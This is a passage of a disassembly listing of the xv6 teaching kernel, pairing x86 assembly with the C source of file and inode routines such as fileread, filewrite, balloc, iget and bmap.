0x8(%ebp),%ebx struct file ff; acquire(&ftable.lock); 80100e4c: 68 c0 ff 10 80 push $0x8010ffc0 80100e51: e8 ba 35 00 00 call 80104410 <acquire> if(f->ref < 1) 80100e56: 8b 43 04 mov 0x4(%ebx),%eax 80100e59: 83 c4 10 add $0x10,%esp 80100e5c: 85 c0 test %eax,%eax 80100e5e: 0f 8e 9b 00 00 00 jle 80100eff <fileclose+0xbf> panic("fileclose"); if(--f->ref > 0){ 80100e64: 83 e8 01 sub $0x1,%eax 80100e67: 85 c0 test %eax,%eax 80100e69: 89 43 04 mov %eax,0x4(%ebx) 80100e6c: 74 1a je 80100e88 <fileclose+0x48> release(&ftable.lock); 80100e6e: c7 45 08 c0 ff 10 80 movl $0x8010ffc0,0x8(%ebp) else if(ff.type == FD_INODE){ begin_op(); iput(ff.ip); end_op(); } } 80100e75: 8d 65 f4 lea -0xc(%ebp),%esp 80100e78: 5b pop %ebx 80100e79: 5e pop %esi 80100e7a: 5f pop %edi 80100e7b: 5d pop %ebp release(&ftable.lock); 80100e7c: e9 4f 36 00 00 jmp 801044d0 <release> 80100e81: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ff = *f; 80100e88: 0f b6 43 09 movzbl 0x9(%ebx),%eax 80100e8c: 8b 3b mov (%ebx),%edi release(&ftable.lock); 80100e8e: 83 ec 0c sub $0xc,%esp ff = *f; 80100e91: 8b 73 0c mov 0xc(%ebx),%esi f->type = FD_NONE; 80100e94: c7 03 00 00 00 00 movl $0x0,(%ebx) ff = *f; 80100e9a: 88 45 e7 mov %al,-0x19(%ebp) 80100e9d: 8b 43 10 mov 0x10(%ebx),%eax release(&ftable.lock); 80100ea0: 68 c0 ff 10 80 push $0x8010ffc0 ff = *f; 80100ea5: 89 45 e0 mov %eax,-0x20(%ebp) release(&ftable.lock); 80100ea8: e8 23 36 00 00 call 801044d0 <release> if(ff.type == FD_PIPE) 80100ead: 83 c4 10 add $0x10,%esp 80100eb0: 83 ff 01 cmp $0x1,%edi 80100eb3: 74 13 je 80100ec8 <fileclose+0x88> else if(ff.type == FD_INODE){ 80100eb5: 83 ff 02 cmp $0x2,%edi 80100eb8: 74 26 je 80100ee0 <fileclose+0xa0> } 80100eba: 8d 65 f4 lea -0xc(%ebp),%esp 80100ebd: 5b pop %ebx 80100ebe: 5e pop %esi 80100ebf: 5f pop %edi 80100ec0: 5d pop %ebp 80100ec1: c3 ret 80100ec2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pipeclose(ff.pipe, ff.writable); 80100ec8: 0f be 5d e7 movsbl -0x19(%ebp),%ebx 80100ecc: 83 ec 08 sub $0x8,%esp 80100ecf: 53 push %ebx 80100ed0: 56 push %esi 80100ed1: e8 7a 24 00 00 call 80103350 <pipeclose> 80100ed6: 83 c4 10 add $0x10,%esp 80100ed9: eb df jmp 80100eba <fileclose+0x7a> 80100edb: 90 nop 80100edc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi begin_op(); 80100ee0: e8 bb 1c 00 00 call 80102ba0 <begin_op> iput(ff.ip); 80100ee5: 83 ec 0c sub $0xc,%esp 80100ee8: ff 75 e0 pushl -0x20(%ebp) 80100eeb: e8 c0 08 00 00 call 801017b0 <iput> end_op(); 80100ef0: 83 c4 10 add $0x10,%esp } 80100ef3: 8d 65 f4 lea -0xc(%ebp),%esp 80100ef6: 5b pop %ebx 80100ef7: 5e pop %esi 80100ef8: 5f pop %edi 80100ef9: 5d pop %ebp end_op(); 80100efa: e9 11 1d 00 00 jmp 80102c10 <end_op> panic("fileclose"); 80100eff: 83 ec 0c sub $0xc,%esp 80100f02: 68 7c 70 10 80 push $0x8010707c 80100f07: e8 84 f4 ff ff call 80100390 <panic> 80100f0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100f10 <filestat>: // Get metadata about file f. int filestat(struct file *f, struct stat *st) { 80100f10: 55 push %ebp 80100f11: 89 e5 mov %esp,%ebp 80100f13: 53 push %ebx 80100f14: 83 ec 04 sub $0x4,%esp 80100f17: 8b 5d 08 mov 0x8(%ebp),%ebx if(f->type == FD_INODE){ 80100f1a: 83 3b 02 cmpl $0x2,(%ebx) 80100f1d: 75 31 jne 80100f50 <filestat+0x40> ilock(f->ip); 80100f1f: 83 ec 0c sub $0xc,%esp 80100f22: ff 73 10 pushl 0x10(%ebx) 80100f25: e8 56 07 00 00 call 80101680 <ilock> stati(f->ip, st); 80100f2a: 58 pop %eax 80100f2b: 5a pop %edx 80100f2c: ff 75 0c pushl 0xc(%ebp) 80100f2f: ff 73 10 pushl 0x10(%ebx) 80100f32: e8 f9 09 00 00 call 80101930 <stati> iunlock(f->ip); 80100f37: 59 pop %ecx 80100f38: ff 73 10 pushl 0x10(%ebx) 80100f3b: e8 20 08 00 00 call 80101760 <iunlock> return 0; 80100f40: 83 c4 10 add $0x10,%esp 80100f43: 31 c0 xor %eax,%eax } return -1; } 80100f45: 8b 5d fc mov -0x4(%ebp),%ebx 80100f48: c9 leave 80100f49: c3 ret 80100f4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80100f50: b8 ff ff ff ff mov $0xffffffff,%eax 80100f55: eb ee jmp 80100f45 <filestat+0x35> 80100f57: 89 f6 mov %esi,%esi 80100f59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100f60 <fileread>: // Read from file f. int fileread(struct file *f, char *addr, int n) { 80100f60: 55 push %ebp 80100f61: 89 e5 mov %esp,%ebp 80100f63: 57 push %edi 80100f64: 56 push %esi 80100f65: 53 push %ebx 80100f66: 83 ec 0c sub $0xc,%esp 80100f69: 8b 5d 08 mov 0x8(%ebp),%ebx 80100f6c: 8b 75 0c mov 0xc(%ebp),%esi 80100f6f: 8b 7d 10 mov 0x10(%ebp),%edi int r; if(f->readable == 0) 80100f72: 80 7b 08 00 cmpb $0x0,0x8(%ebx) 80100f76: 74 60 je 80100fd8 <fileread+0x78> return -1; if(f->type == FD_PIPE) 80100f78: 8b 03 mov (%ebx),%eax 80100f7a: 83 f8 01 cmp $0x1,%eax 80100f7d: 74 41 je 80100fc0 <fileread+0x60> return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ 80100f7f: 83 f8 02 cmp $0x2,%eax 80100f82: 75 5b jne 80100fdf <fileread+0x7f> ilock(f->ip); 80100f84: 83 ec 0c sub $0xc,%esp 80100f87: ff 73 10 pushl 0x10(%ebx) 80100f8a: e8 f1 06 00 00 call 80101680 <ilock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f8f: 57 push %edi 80100f90: ff 73 14 pushl 0x14(%ebx) 80100f93: 56 push %esi 80100f94: ff 73 10 pushl 0x10(%ebx) 80100f97: e8 c4 09 00 00 call 80101960 <readi> 80100f9c: 83 c4 20 add $0x20,%esp 80100f9f: 85 c0 test %eax,%eax 80100fa1: 89 c6 mov %eax,%esi 80100fa3: 7e 03 jle 80100fa8 <fileread+0x48> f->off += r; 80100fa5: 01 43 14 add %eax,0x14(%ebx) iunlock(f->ip); 80100fa8: 83 ec 0c sub $0xc,%esp 80100fab: ff 73 10 pushl 0x10(%ebx) 80100fae: e8 ad 07 00 00 call 80101760 <iunlock> return r; 80100fb3: 83 c4 10 add $0x10,%esp } panic("fileread"); } 80100fb6: 8d 65 f4 lea -0xc(%ebp),%esp 80100fb9: 89 f0 mov %esi,%eax 80100fbb: 5b pop %ebx 80100fbc: 5e pop %esi 80100fbd: 5f pop %edi 80100fbe: 5d pop %ebp 80100fbf: c3 ret return piperead(f->pipe, addr, n); 80100fc0: 8b 43 0c mov 0xc(%ebx),%eax 80100fc3: 89 45 08 mov %eax,0x8(%ebp) } 80100fc6: 8d 65 f4 lea -0xc(%ebp),%esp 80100fc9: 5b pop %ebx 80100fca: 5e pop %esi 80100fcb: 5f pop %edi 80100fcc: 5d pop %ebp return piperead(f->pipe, addr, n); 80100fcd: e9 2e 25 00 00 jmp 80103500 <piperead> 80100fd2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80100fd8: be ff ff ff ff mov $0xffffffff,%esi 80100fdd: eb d7 jmp 80100fb6 <fileread+0x56> panic("fileread"); 80100fdf: 83 ec 0c sub $0xc,%esp 80100fe2: 68 86 70 10 80 push $0x80107086 80100fe7: e8 a4 f3 ff ff call 80100390 <panic> 80100fec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100ff0 <filewrite>: //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80100ff0: 55 push %ebp 80100ff1: 89 e5 mov %esp,%ebp 80100ff3: 57 push %edi 80100ff4: 56 push %esi 80100ff5: 53 push %ebx 80100ff6: 83 ec 1c sub $0x1c,%esp 80100ff9: 8b 75 08 mov 0x8(%ebp),%esi 80100ffc: 8b 45 0c mov 0xc(%ebp),%eax int r; if(f->writable == 0) 80100fff: 80 7e 09 00 cmpb $0x0,0x9(%esi) { 80101003: 89 45 dc mov %eax,-0x24(%ebp) 80101006: 8b 45 10 mov 0x10(%ebp),%eax 80101009: 89 45 e4 mov %eax,-0x1c(%ebp) if(f->writable == 0) 8010100c: 0f 84 aa 00 00 00 je 801010bc <filewrite+0xcc> return -1; if(f->type == FD_PIPE) 80101012: 8b 06 mov (%esi),%eax 80101014: 83 f8 01 cmp $0x1,%eax 80101017: 0f 84 c3 00 00 00 je 801010e0 <filewrite+0xf0> return pipewrite(f->pipe, addr, n); if(f->type == FD_INODE){ 8010101d: 83 f8 02 cmp $0x2,%eax 80101020: 0f 85 d9 00 00 00 jne 801010ff <filewrite+0x10f> // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512; int i = 0; while(i < n){ 80101026: 8b 45 e4 mov -0x1c(%ebp),%eax int i = 0; 80101029: 31 ff xor %edi,%edi while(i < n){ 8010102b: 85 c0 test %eax,%eax 8010102d: 7f 34 jg 80101063 <filewrite+0x73> 8010102f: e9 9c 00 00 00 jmp 801010d0 <filewrite+0xe0> 80101034: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi n1 = max; begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; 80101038: 01 46 14 add %eax,0x14(%esi) iunlock(f->ip); 8010103b: 83 ec 0c sub $0xc,%esp 8010103e: ff 76 10 pushl 0x10(%esi) f->off += r; 80101041: 89 45 e0 mov %eax,-0x20(%ebp) iunlock(f->ip); 80101044: e8 17 07 00 00 call 80101760 <iunlock> end_op(); 80101049: e8 c2 1b 00 00 call 80102c10 <end_op> 8010104e: 8b 45 e0 mov -0x20(%ebp),%eax 80101051: 83 c4 10 add $0x10,%esp if(r < 0) break; if(r != n1) 80101054: 39 c3 cmp %eax,%ebx 80101056: 0f 85 96 00 00 00 jne 801010f2 <filewrite+0x102> panic("short filewrite"); i += r; 8010105c: 01 df add %ebx,%edi while(i < n){ 8010105e: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101061: 7e 6d jle 801010d0 <filewrite+0xe0> int n1 = n - i; 80101063: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101066: b8 00 06 00 00 mov $0x600,%eax 8010106b: 29 fb sub %edi,%ebx 8010106d: 81 fb 00 06 00 00 cmp $0x600,%ebx 80101073: 0f 4f d8 cmovg %eax,%ebx begin_op(); 80101076: e8 25 1b 00 00 call 80102ba0 <begin_op> ilock(f->ip); 8010107b: 83 ec 0c sub $0xc,%esp 8010107e: ff 76 10 pushl 0x10(%esi) 80101081: e8 fa 05 00 00 call 80101680 <ilock> if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) 80101086: 8b 45 dc mov -0x24(%ebp),%eax 80101089: 53 push %ebx 8010108a: ff 76 14 pushl 0x14(%esi) 8010108d: 01 f8 add %edi,%eax 8010108f: 50 push %eax 80101090: ff 76 10 pushl 0x10(%esi) 80101093: e8 c8 09 00 00 call 80101a60 <writei> 80101098: 83 c4 20 add $0x20,%esp 8010109b: 85 c0 test %eax,%eax 8010109d: 7f 99 jg 80101038 <filewrite+0x48> iunlock(f->ip); 8010109f: 83 ec 0c sub $0xc,%esp 801010a2: ff 76 10 pushl 0x10(%esi) 801010a5: 89 45 e0 mov %eax,-0x20(%ebp) 801010a8: e8 b3 06 00 00 call 80101760 <iunlock> end_op(); 801010ad: e8 5e 1b 00 00 call 80102c10 <end_op> if(r < 0) 801010b2: 8b 45 e0 mov -0x20(%ebp),%eax 801010b5: 83 c4 10 add $0x10,%esp 801010b8: 85 c0 test %eax,%eax 801010ba: 74 98 je 80101054 <filewrite+0x64> } return i == n ? n : -1; } panic("filewrite"); } 801010bc: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 801010bf: bf ff ff ff ff mov $0xffffffff,%edi } 801010c4: 89 f8 mov %edi,%eax 801010c6: 5b pop %ebx 801010c7: 5e pop %esi 801010c8: 5f pop %edi 801010c9: 5d pop %ebp 801010ca: c3 ret 801010cb: 90 nop 801010cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return i == n ? n : -1; 801010d0: 39 7d e4 cmp %edi,-0x1c(%ebp) 801010d3: 75 e7 jne 801010bc <filewrite+0xcc> } 801010d5: 8d 65 f4 lea -0xc(%ebp),%esp 801010d8: 89 f8 mov %edi,%eax 801010da: 5b pop %ebx 801010db: 5e pop %esi 801010dc: 5f pop %edi 801010dd: 5d pop %ebp 801010de: c3 ret 801010df: 90 nop return pipewrite(f->pipe, addr, n); 801010e0: 8b 46 0c mov 0xc(%esi),%eax 801010e3: 89 45 08 mov %eax,0x8(%ebp) } 801010e6: 8d 65 f4 lea -0xc(%ebp),%esp 801010e9: 5b pop %ebx 801010ea: 5e pop %esi 801010eb: 5f pop %edi 801010ec: 5d pop %ebp return pipewrite(f->pipe, addr, n); 801010ed: e9 fe 22 00 00 jmp 801033f0 <pipewrite> panic("short filewrite"); 801010f2: 83 ec 0c sub $0xc,%esp 801010f5: 68 8f 70 10 80 push $0x8010708f 801010fa: e8 91 f2 ff ff call 80100390 <panic> panic("filewrite"); 801010ff: 83 ec 0c sub $0xc,%esp 80101102: 68 95 70 10 80 push $0x80107095 80101107: e8 84 f2 ff ff call 80100390 <panic> 8010110c: 66 90 xchg %ax,%ax 8010110e: 66 90 xchg %ax,%ax 80101110 <bfree>: } // Free a disk block. static void bfree(int dev, uint b) { 80101110: 55 push %ebp 80101111: 89 e5 mov %esp,%ebp 80101113: 56 push %esi 80101114: 53 push %ebx 80101115: 89 d3 mov %edx,%ebx struct buf *bp; int bi, m; bp = bread(dev, BBLOCK(b, sb)); 80101117: c1 ea 0c shr $0xc,%edx 8010111a: 03 15 d8 09 11 80 add 0x801109d8,%edx 80101120: 83 ec 08 sub $0x8,%esp 80101123: 52 push %edx 80101124: 50 push %eax 80101125: e8 a6 ef ff ff call 801000d0 <bread> bi = b % BPB; m = 1 << (bi % 8); 8010112a: 89 d9 mov %ebx,%ecx if((bp->data[bi/8] & m) == 0) 8010112c: c1 fb 03 sar $0x3,%ebx m = 1 << (bi % 8); 8010112f: ba 01 00 00 00 mov $0x1,%edx 80101134: 83 e1 07 and $0x7,%ecx if((bp->data[bi/8] & m) == 0) 80101137: 81 e3 ff 01 00 00 and $0x1ff,%ebx 8010113d: 83 c4 10 add $0x10,%esp m = 1 << (bi % 8); 80101140: d3 e2 shl %cl,%edx if((bp->data[bi/8] & m) == 0) 80101142: 0f b6 4c 18 5c movzbl 0x5c(%eax,%ebx,1),%ecx 80101147: 85 d1 test %edx,%ecx 80101149: 74 25 je 80101170 <bfree+0x60> panic("freeing free block"); bp->data[bi/8] &= ~m; 8010114b: f7 d2 not %edx 8010114d: 89 c6 mov %eax,%esi log_write(bp); 8010114f: 83 ec 0c sub $0xc,%esp bp->data[bi/8] &= ~m; 80101152: 21 ca and %ecx,%edx 80101154: 88 54 1e 5c mov %dl,0x5c(%esi,%ebx,1) log_write(bp); 80101158: 56 push %esi 80101159: e8 12 1c 00 00 call 80102d70 <log_write> brelse(bp); 8010115e: 89 34 24 mov %esi,(%esp) 80101161: e8 7a f0 ff ff call 801001e0 <brelse> } 80101166: 83 c4 10 add $0x10,%esp 80101169: 8d 65 f8 lea -0x8(%ebp),%esp 8010116c: 5b pop %ebx 8010116d: 5e pop %esi 8010116e: 5d pop %ebp 8010116f: c3 ret panic("freeing free block"); 80101170: 83 ec 0c sub $0xc,%esp 80101173: 68 9f 70 10 80 push $0x8010709f 80101178: e8 13 f2 ff ff call 80100390 <panic> 8010117d: 8d 76 00 lea 0x0(%esi),%esi 80101180 <balloc>: { 80101180: 55 push %ebp 80101181: 89 e5 mov %esp,%ebp 80101183: 57 push %edi 80101184: 56 push %esi 80101185: 53 push %ebx 80101186: 83 ec 1c sub $0x1c,%esp for(b = 0; b < sb.size; b += BPB){ 80101189: 8b 0d c0 09 11 80 mov 0x801109c0,%ecx { 8010118f: 89 45 d8 mov %eax,-0x28(%ebp) for(b = 0; b < sb.size; b += BPB){ 80101192: 85 c9 test %ecx,%ecx 80101194: 0f 84 87 00 00 00 je 80101221 <balloc+0xa1> 8010119a: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) bp = bread(dev, BBLOCK(b, sb)); 801011a1: 8b 75 dc mov -0x24(%ebp),%esi 801011a4: 83 ec 08 sub $0x8,%esp 801011a7: 89 f0 mov %esi,%eax 801011a9: c1 f8 0c sar $0xc,%eax 801011ac: 03 05 d8 09 11 80 add 0x801109d8,%eax 801011b2: 50 push %eax 801011b3: ff 75 d8 pushl -0x28(%ebp) 801011b6: e8 15 ef ff ff call 801000d0 <bread> 801011bb: 89 45 e4 mov %eax,-0x1c(%ebp) for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 801011be: a1 c0 09 11 80 mov 0x801109c0,%eax 801011c3: 83 c4 10 add $0x10,%esp 801011c6: 89 45 e0 mov %eax,-0x20(%ebp) 801011c9: 31 c0 xor %eax,%eax 801011cb: eb 2f jmp 801011fc <balloc+0x7c> 801011cd: 8d 76 00 lea 0x0(%esi),%esi m = 1 << (bi % 8); 801011d0: 89 c1 mov %eax,%ecx if((bp->data[bi/8] & m) == 0){ // Is block free? 801011d2: 8b 55 e4 mov -0x1c(%ebp),%edx m = 1 << (bi % 8); 801011d5: bb 01 00 00 00 mov $0x1,%ebx 801011da: 83 e1 07 and $0x7,%ecx 801011dd: d3 e3 shl %cl,%ebx if((bp->data[bi/8] & m) == 0){ // Is block free? 801011df: 89 c1 mov %eax,%ecx 801011e1: c1 f9 03 sar $0x3,%ecx 801011e4: 0f b6 7c 0a 5c movzbl 0x5c(%edx,%ecx,1),%edi 801011e9: 85 df test %ebx,%edi 801011eb: 89 fa mov %edi,%edx 801011ed: 74 41 je 80101230 <balloc+0xb0> for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 801011ef: 83 c0 01 add $0x1,%eax 801011f2: 83 c6 01 add $0x1,%esi 801011f5: 3d 00 10 00 00 cmp $0x1000,%eax 801011fa: 74 05 je 80101201 <balloc+0x81> 801011fc: 39 75 e0 cmp %esi,-0x20(%ebp) 801011ff: 77 cf ja 801011d0 <balloc+0x50> brelse(bp); 80101201: 83 ec 0c sub $0xc,%esp 80101204: ff 75 e4 pushl -0x1c(%ebp) 80101207: e8 d4 ef ff ff call 801001e0 <brelse> for(b = 0; b < sb.size; b += BPB){ 8010120c: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp) 80101213: 83 c4 10 add $0x10,%esp 80101216: 8b 45 dc mov -0x24(%ebp),%eax 80101219: 39 05 c0 09 11 80 cmp %eax,0x801109c0 8010121f: 77 80 ja 801011a1 <balloc+0x21> panic("balloc: out of blocks"); 80101221: 83 ec 0c sub $0xc,%esp 80101224: 68 b2 70 10 80 push $0x801070b2 80101229: e8 62 f1 ff ff call 80100390 <panic> 8010122e: 66 90 xchg %ax,%ax bp->data[bi/8] |= m; // Mark block in use. 80101230: 8b 7d e4 mov -0x1c(%ebp),%edi log_write(bp); 80101233: 83 ec 0c sub $0xc,%esp bp->data[bi/8] |= m; // Mark block in use. 80101236: 09 da or %ebx,%edx 80101238: 88 54 0f 5c mov %dl,0x5c(%edi,%ecx,1) log_write(bp); 8010123c: 57 push %edi 8010123d: e8 2e 1b 00 00 call 80102d70 <log_write> brelse(bp); 80101242: 89 3c 24 mov %edi,(%esp) 80101245: e8 96 ef ff ff call 801001e0 <brelse> bp = bread(dev, bno); 8010124a: 58 pop %eax 8010124b: 5a pop %edx 8010124c: 56 push %esi 8010124d: ff 75 d8 pushl -0x28(%ebp) 80101250: e8 7b ee ff ff call 801000d0 <bread> 80101255: 89 c3 mov %eax,%ebx memset(bp->data, 0, BSIZE); 80101257: 8d 40 5c lea 0x5c(%eax),%eax 8010125a: 83 c4 0c add $0xc,%esp 8010125d: 68 00 02 00 00 push $0x200 80101262: 6a 00 push $0x0 80101264: 50 push %eax 80101265: e8 b6 32 00 00 call 80104520 <memset> log_write(bp); 8010126a: 89 1c 24 mov %ebx,(%esp) 8010126d: e8 fe 1a 00 00 call 80102d70 <log_write> brelse(bp); 80101272: 89 1c 24 mov %ebx,(%esp) 80101275: e8 66 ef ff ff call 801001e0 <brelse> } 8010127a: 8d 65 f4 lea -0xc(%ebp),%esp 8010127d: 89 f0 mov %esi,%eax 8010127f: 5b pop %ebx 80101280: 5e pop %esi 80101281: 5f pop %edi 80101282: 5d pop %ebp 80101283: c3 ret 80101284: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010128a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80101290 <iget>: // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 80101290: 55 push %ebp 80101291: 89 e5 mov %esp,%ebp 80101293: 57 push %edi 80101294: 56 push %esi 80101295: 53 push %ebx 80101296: 89 c7 mov %eax,%edi struct inode *ip, *empty; acquire(&icache.lock); // Is the inode already cached? empty = 0; 80101298: 31 f6 xor %esi,%esi for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010129a: bb 14 0a 11 80 mov $0x80110a14,%ebx { 8010129f: 83 ec 28 sub $0x28,%esp 801012a2: 89 55 e4 mov %edx,-0x1c(%ebp) acquire(&icache.lock); 801012a5: 68 e0 09 11 80 push $0x801109e0 801012aa: e8 61 31 00 00 call 80104410 <acquire> 801012af: 83 c4 10 add $0x10,%esp for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801012b2: 8b 55 e4 mov -0x1c(%ebp),%edx 801012b5: eb 17 jmp 801012ce <iget+0x3e> 801012b7: 89 f6 mov %esi,%esi 801012b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801012c0: 81 c3 90 00 00 00 add $0x90,%ebx 801012c6: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 801012cc: 73 22 jae 801012f0 <iget+0x60> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 801012ce: 8b 4b 08 mov 0x8(%ebx),%ecx 801012d1: 85 c9 test %ecx,%ecx 801012d3: 7e 04 jle 801012d9 <iget+0x49> 801012d5: 39 3b cmp %edi,(%ebx) 801012d7: 74 4f je 80101328 <iget+0x98> ip->ref++; release(&icache.lock); return ip; } if(empty == 0 && ip->ref == 0) // Remember empty slot. 801012d9: 85 f6 test %esi,%esi 801012db: 75 e3 jne 801012c0 <iget+0x30> 801012dd: 85 c9 test %ecx,%ecx 801012df: 0f 44 f3 cmove %ebx,%esi for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801012e2: 81 c3 90 00 00 00 add $0x90,%ebx 801012e8: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 801012ee: 72 de jb 801012ce <iget+0x3e> empty = ip; } // Recycle an inode cache entry. if(empty == 0) 801012f0: 85 f6 test %esi,%esi 801012f2: 74 5b je 8010134f <iget+0xbf> ip = empty; ip->dev = dev; ip->inum = inum; ip->ref = 1; ip->valid = 0; release(&icache.lock); 801012f4: 83 ec 0c sub $0xc,%esp ip->dev = dev; 801012f7: 89 3e mov %edi,(%esi) ip->inum = inum; 801012f9: 89 56 04 mov %edx,0x4(%esi) ip->ref = 1; 801012fc: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi) ip->valid = 0; 80101303: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) release(&icache.lock); 8010130a: 68 e0 09 11 80 push $0x801109e0 8010130f: e8 bc 31 00 00 call 801044d0 <release> return ip; 80101314: 83 c4 10 add $0x10,%esp } 80101317: 8d 65 f4 lea -0xc(%ebp),%esp 8010131a: 89 f0 mov %esi,%eax 8010131c: 5b pop %ebx 8010131d: 5e pop %esi 8010131e: 5f pop %edi 8010131f: 5d pop %ebp 80101320: c3 ret 80101321: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 80101328: 39 53 04 cmp %edx,0x4(%ebx) 8010132b: 75 ac jne 801012d9 <iget+0x49> release(&icache.lock); 8010132d: 83 ec 0c sub $0xc,%esp ip->ref++; 80101330: 83 c1 01 add $0x1,%ecx return ip; 80101333: 89 de mov %ebx,%esi release(&icache.lock); 80101335: 68 e0 09 11 80 push $0x801109e0 ip->ref++; 8010133a: 89 4b 08 mov %ecx,0x8(%ebx) release(&icache.lock); 8010133d: e8 8e 31 00 00 call 801044d0 <release> return ip; 80101342: 83 c4 10 add $0x10,%esp } 80101345: 8d 65 f4 lea -0xc(%ebp),%esp 80101348: 89 f0 mov %esi,%eax 8010134a: 5b pop %ebx 8010134b: 5e pop %esi 8010134c: 5f pop %edi 8010134d: 5d pop %ebp 8010134e: c3 ret panic("iget: no inodes"); 8010134f: 83 ec 0c sub $0xc,%esp 80101352: 68 c8 70 10 80 push $0x801070c8 80101357: e8 34 f0 ff ff call 80100390 <panic> 8010135c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101360 <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 80101360: 55 push %ebp 80101361: 89 e5 mov %esp,%ebp 80101363: 57 push %edi 80101364: 56 push %esi 80101365: 53 push %ebx 80101366: 89 c6 mov %eax,%esi 80101368: 83 ec 1c sub $0x1c,%esp uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 8010136b: 83 fa 0b cmp $0xb,%edx 8010136e: 77 18 ja 80101388 <bmap+0x28> 80101370: 8d 3c 90 lea (%eax,%edx,4),%edi if((addr = ip->addrs[bn]) == 0) 80101373: 8b 5f 5c mov 0x5c(%edi),%ebx 80101376: 85 db test %ebx,%ebx 80101378: 74 76 je 801013f0 <bmap+0x90> brelse(bp); return addr; } panic("bmap: out of range"); } 8010137a: 8d 65 f4 lea -0xc(%ebp),%esp 8010137d: 89 d8 mov %ebx,%eax 8010137f: 5b pop %ebx 80101380: 5e pop %esi 80101381: 5f pop %edi 80101382: 5d pop %ebp 80101383: c3 ret 80101384: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bn -= NDIRECT; 80101388: 8d 5a f4 lea -0xc(%edx),%ebx if(bn < NINDIRECT){ 8010138b: 83 fb 7f cmp $0x7f,%ebx 8010138e: 0f 87 90 00 00 00 ja 80101424 <bmap+0xc4> if((addr = ip->addrs[NDIRECT]) == 0) 80101394: 8b 90 8c 00 00 00 mov 0x8c(%eax),%edx 8010139a: 8b 00 mov (%eax),%eax 8010139c: 85 d2 test %edx,%edx 8010139e: 74 70 je 80101410 <bmap+0xb0> bp = bread(ip->dev, addr); 801013a0: 83 ec 08 sub $0x8,%esp 801013a3: 52 push %edx 801013a4: 50 push %eax 801013a5: e8 26 ed ff ff call 801000d0 <bread> if((addr = a[bn]) == 0){ 801013aa: 8d 54 98 5c lea 0x5c(%eax,%ebx,4),%edx 801013ae: 83 c4 10 add $0x10,%esp bp = bread(ip->dev, addr); 801013b1: 89 c7 mov %eax,%edi if((addr = a[bn]) == 0){ 801013b3: 8b 1a mov (%edx),%ebx 801013b5: 85 db test %ebx,%ebx 801013b7: 75 1d jne 801013d6 <bmap+0x76> a[bn] = addr = balloc(ip->dev); 801013b9: 8b 06 mov (%esi),%eax 801013bb: 89 55 e4 mov %edx,-0x1c(%ebp) 801013be: e8 bd fd ff ff call 80101180 <balloc> 801013c3: 8b 55 e4 mov -0x1c(%ebp),%edx log_write(bp); 801013c6: 83 ec 0c sub $0xc,%esp a[bn] = addr = balloc(ip->dev); 801013c9: 89 c3 mov %eax,%ebx 801013cb: 89 02 mov %eax,(%edx) log_write(bp); 801013cd: 57 push %edi 801013ce: e8 9d 19 00 00 call 80102d70 <log_write> 801013d3: 83 c4 10 add $0x10,%esp brelse(bp); 801013d6: 83 ec 0c sub $0xc,%esp 801013d9: 57 push %edi 801013da: e8 01 ee ff ff call 801001e0 <brelse> 801013df: 83 c4 10 add $0x10,%esp } 801013e2: 8d 65 f4 lea -0xc(%ebp),%esp 801013e5: 89 d8 mov %ebx,%eax 801013e7: 5b pop %ebx 801013e8: 5e pop %esi 801013e9: 5f pop %edi 801013ea: 5d pop %ebp 801013eb: c3 ret 801013ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ip->addrs[bn] = addr = balloc(ip->dev); 801013f0: 8b 00 mov (%eax),%eax 801013f2: e8 89 fd ff ff call 80101180 <balloc> 801013f7: 89 47 5c mov %eax,0x5c(%edi) } 801013fa: 8d 65 f4 lea -0xc(%ebp),%esp ip->addrs[bn] = addr = balloc(ip->dev); 801013fd: 89 c3 mov %eax,%ebx } 801013ff: 89 d8 mov %ebx,%eax 80101401: 5b pop %ebx 80101402: 5e pop %esi 80101403: 5f pop 